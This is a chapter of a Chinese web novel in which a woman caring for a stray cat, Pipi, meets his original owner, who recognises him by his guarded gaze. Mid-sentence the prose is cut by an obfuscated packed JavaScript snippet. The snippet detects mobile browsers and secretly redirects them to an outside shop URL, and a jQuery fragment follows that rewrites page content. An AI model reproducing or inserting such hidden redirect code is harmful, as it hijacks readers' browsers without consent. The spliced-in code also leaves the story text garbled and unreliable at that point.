犹豫了半晌,钱乐伊才开口:“个子小和能打,应该不冲突吧。”
就比如大花和橘子,两只猫站在一起,一瘦一胖,有眼睛的人都不会觉得橘子是那只能打的猫。
更何况,从皮皮的描述来说,这只矮脚猫甚至不需要能打,它是只心机猫,惯会耍些小心机,就能把皮皮赶走。
看了眼没有动静的客卧,又看了看若无其事扯着嘴角,眼神不再乱瞟的皮皮妈妈,钱乐伊内心叹气,还是继续道:“如果你真的找到了皮皮,那矮脚猫怎么办?皮皮和矮脚猫还要继续磨合生活吗?”
“不会。”皮皮妈妈不假思索地摇头,“汤圆,就是那只矮脚拿破仑,已经送回我朋友家了。实不相瞒,皮皮丢了之后,我们也没有心思继续照顾汤圆了。”
闻言,钱乐伊点了点头。从目前的对话和了解来说,皮皮妈妈应该是真心爱皮皮的。
尽管之前贸贸然领回家一只和皮皮处得不太好的小猫,但不可否认出发点是好的,是为了让皮皮在家有个伴。
家家有本难念的经。
钱乐伊又看了眼没有动静的客卧,不知道皮皮到底是怎么想的。
顺着她的视线,皮皮妈妈也往客卧里看过去,好一会儿后,才语带苦涩地告别:“不好意思,今天打扰你了。”
她顿了顿,艰难地说:“这只皮皮好像不是我们家的皮皮。”她的皮皮,会在她每天还没回家就守在门口等她下班,会在见到她的时候,毫不犹豫地小跑着冲向她,会……
“皮皮爸爸还在楼下等我,不好意思打扰你这么久,我们今天先走了……”
外面告别的话语传到客卧内,钱多多的尾巴百无聊赖地扫着地板,她随口问道:“你真的不出去吗?她要走了。”
皮皮没有看她,客厅的光透过门,一点点地打在床底地板上。
随着人起身,衣物摩擦的声音更为明显,脚步响起时,拖鞋在地板上拖沓的声音又沉又重。连带着客卧原本微弱的光,似乎也被阴影挡住。
“钱多多,”钱乐伊在客厅和客卧间的走廊站着,像是招呼小孩子一样呼唤着钱多多。
钱多多噌地一下起身,屁颠屁颠跑到门口时,又想起什么,回头叫了一声:“你不出去吗?”
不出意外,没有回答。
外面钱乐伊似乎也意识到了什么,不再只呼喊钱多多,“皮皮,多多,你们俩快出来。”
钱多多看了眼不停传来声音的门口,又看了看母鸡蹲了好久的皮皮,最后竟又转身,跑向皮皮。
喊了大半天,别说猫影子,连根猫毛都没看见,钱乐伊不好意思地朝皮皮妈妈解释:“他们平常不这样的。”
皮皮妈妈笑了笑,似乎真的没有放在心上。
快要走到门口了,钱乐伊耳朵尖微不可察地动了动,好像有什么动静,像是在拖拉重物。
她没忍住又开口问了一句:“如果还没找到皮皮,你们打算怎么办?”
怎么办?皮皮妈妈故作轻松地耸耸肩,“接着找呗。只要一天没有找到皮皮,我和皮皮爸爸就不会放弃的。”
钱乐伊试探道:“猫的寿命和人类不一样,你们打算找到什么时候?”
皮皮妈妈沉默了,说实话,她也不知道自己和皮皮爸爸能坚持多久。
命运像是故意捉弄他们似的,每当他们想要放弃的时候,又会出现一些看起来和皮皮相关的线索,让他们继续坚持。
今天来钱乐伊家,其实已经是他们第五次去到陌生人家里确认是不是皮皮了。
一开始尴尬,不知道上门要带些什么,要怎么描述皮皮的特征。到现在,小到伴手礼,大到皮皮从小到大的照片以及皮皮的性格描述,他们似乎也形成了一套完整的体系流程。
失望经历多了,好像也就习惯了。
皮皮妈妈甚至笑着安慰眼前看起来纠结不安的人:“没事的,没有消息也是种好消息,不是吗?”
不是的,这不一样。
面对眼前释然中带着些许苦涩的笑脸,钱乐伊想说不一样,这次情况不一样,你真的找到皮皮了。
可是她没办法解释,也没办法直接把皮皮从床底下拖出来,只能焦急地看着客卧的方向,暗暗想着就算这次皮皮真的不出现,她也要继续和皮皮妈妈保持联系,制造下一次机会。
后面的发展有些戏剧性。
在钱乐伊和皮皮妈妈走到门口时,钱多多费劲九牛二虎之力,终于把皮皮推到客卧门口。
可能是力竭,也可能是为了堵住皮皮的后路,把皮皮带到人类视线中后,她就四肢无力地瘫软下来,语气疲惫:“喵~(一一,我把他带出来了,剩下的就看你们了。)”
听明白她意思的钱乐伊忍俊不禁,嘴角微微扬起。
而终于有机会认真打量皮皮的皮皮妈妈,则是愣住了一般,呆在原地。
除了最开始的第一眼,皮皮始终回避着皮皮妈妈的视线,姿态不似其他亲人的猫咪放松,但他的紧绷又没有攻击性。只像是终于将脑袋探出保护壳,但如果外面有任何风吹草动都足以让他退回去。
歇了一会儿的钱多多又恢复了点精神,好声好气地威胁着:“你好好看看这是不是你的妈妈?如果明明是你的妈妈,你却假装不是的话,我就不让你留在我家了……”
“……”全部听懂的钱乐伊尴尬且无语地摸了摸自己的鼻子,不知道钱多多又是从哪里学来的恶女人设。
“多多。”钱乐伊没有任何威慑力地喝止她,继而转向皮皮妈妈,“这就是我们遇到的皮皮,你要不要再确认一下?”
皮皮妈妈摇着头,复杂情绪冲击,让她眼眶不自觉泛红,鼻头酸涩,一句话都说不出来。
说实话,找皮皮的这几个月时间里,她见过太多和皮皮长相相似,体型一致,难辨真假的猫。
有那么一两次,连皮皮爸爸都觉得那就是皮皮,可以了,不用再继续了。
可是她知道,不是的,说不上来具体是哪里,但是她能有感觉,那些猫都不是她的皮皮。
以前她和皮皮爸爸开玩笑,说能不能在众多银虎斑里面认出皮皮。两个人都觉得不能,网上太多视频里的猫,和他们的皮皮长得一模一样,他们怎么可能认得出来。
可是,现在皮皮妈妈知道了,她是认得出来的。
就算皮皮比它刚离家那段时间瘦了不少,四肢更加纤细健壮了,她还是认得出来。
因为眼神,眼神不一样。
有些亲人的猫,看见第一次见面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942025|204154||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的陌生人时,眼神是单纯的好奇和亲热。而不亲人的猫,看见人就跑,根本不会给人观察的时间。
但这只身形修长,没有用正眼看过她的猫,莫名给她一种复杂感。就好像,就好像是皮皮离家之前的那两天给她的感觉一样。
既想靠近,但又不靠近。明明它的视角足以看清在场所有猫和人的脸,你也知道它在看你,在仔细地观察你,但偏偏就是不转过头正视你的倔犟。
看了好一会儿,也缓了好一会儿,皮皮妈妈勉强将喉头的哽咽压了下去,艰难地开口:“不用了。”
“啊?”钱乐伊情不自禁地转头看她,不会吧,真的不是吗?不应该啊。
皮皮妈妈扯出的笑容真诚了许多,“就是它,它就是我们家的皮皮。”
“哦。”钱乐伊刚松一口气。
然而听见皮皮妈妈的话后,半天没有动作,像个雕像似的杵在那的皮皮,轻巧一跃,从钱多多拦住的地方跳了过去,再一次躲回到客卧。
钱乐伊看不懂了,皮皮这到底是想,还是不想跟着他妈妈回去啊。
她低头看着钱多多,钱多多无语地翻了个大白眼,别问她,她不知道,她好累。
皮皮妈妈却并不在意皮皮再一次的回避,反而情绪高昂了起来。
“是的,”皮皮妈妈像是自我肯定般点头,脸上的笑意蔓延到眼角眉梢,“就是它。”
钱乐伊看了眼一改先前苦涩的皮皮妈妈,又看了眼早就不见踪影的皮皮,默默叹气,是这个皮皮,可是他不想跟你回去啊。
不知道钱乐伊的想法,终于确认皮皮还好好活在这个世界上,没有惨遭毒手的皮皮妈妈终于松掉了心间一直坠着的大石头。
在她将皮皮带回家的时候,她已然做好了准备。这是一个生命,一个完全出于她个人意愿被带回家的生命,她选择它成为他们家的新成员。那么她将承担起对它的所有责任。
她有义务确认它的平安,确认它的健康。在它给他们提供情绪价值的同时,让它也过得开心。
皮皮妈妈语气轻松,语调上扬“乐伊,我可以这么叫你吧?”
“呃,”钱乐伊愣了一秒才点头同意,“可以。”
之前还是钱小姐钱小姐的称呼,一下子变成直呼姓名的关系,对她来说还是进展太快。
皮皮妈妈往客卧又看了好几秒,始终没看见皮皮才收回了视线,“谢谢你这段时间对皮皮的照顾,实在是太麻烦你了。”
“如果可以,皮皮可以在你家再住一段时间吗?”
似乎觉得自己的要求有点强人所难,皮皮妈妈赶紧解释道:“皮皮现在还不愿意跟我回去,我怕强行把它带回家,它又不高兴。所以想再麻烦你一段时间,我和皮皮爸爸会经常来看它,也会支付这段时间的寄养费用。”
可以理解,但是钱乐伊实在不想和太多人打交道,“你过来的时候给我发消息就好,皮皮爸爸还是等皮皮回家再说吧。皮皮和钱多多相处得很好,我也挺喜欢它,我们都是朋友,寄养费就不用了。”
不管钱乐伊怎么说,皮皮妈妈还是暗下决心,寄养费不收,那她就多给钱多多带点好吃的和玩具。
最后看了眼客卧方向,没有任何动静,皮皮妈妈终于离开。